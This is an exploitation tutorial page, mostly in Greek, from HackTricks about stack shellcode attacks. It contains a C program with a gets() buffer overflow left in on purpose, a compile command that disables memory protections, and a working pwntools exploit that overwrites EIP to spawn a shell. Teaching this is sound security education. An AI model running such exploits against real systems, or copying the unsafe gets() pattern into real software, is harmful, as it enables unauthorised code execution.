Stack Shellcode

Support HackTricks

Basic Information

Stack shellcode είναι μια τεχνική που χρησιμοποιείται στην binary exploitation όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον Instruction Pointer (IP) ή τον Extended Instruction Pointer (EIP) για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχοποιημένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με pwntools.

C Example: A Vulnerable Program

Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Αυτό το πρόγραμμα είναι ευάλωτο σε υπερχείλιση μνήμης λόγω της χρήσης της συνάρτησης gets().

Συγκέντρωση

Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Απενεργοποιεί την προστασία της στοίβας.

  • -z execstack: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.

  • -no-pie: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.

  • -m32: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.

Python Exploit using Pwntools

Here's how you could write an exploit in Python using pwntools to perform a ret2shellcode attack:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια NOP slide, το shellcode, και στη συνέχεια αντικαθιστά το EIP με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.

Η NOP slide (asm('nop')) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη συγκεκριμένη διεύθυνση. Ρυθμίστε το επιχείρημα p32() στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.

Προστασίες

  • ASLR θα πρέπει να είναι απενεργοποιημένο για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.

  • Stack Canaries θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.

  • NX stack προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.

Άλλα Παραδείγματα & Αναφορές

Support HackTricks

Last updated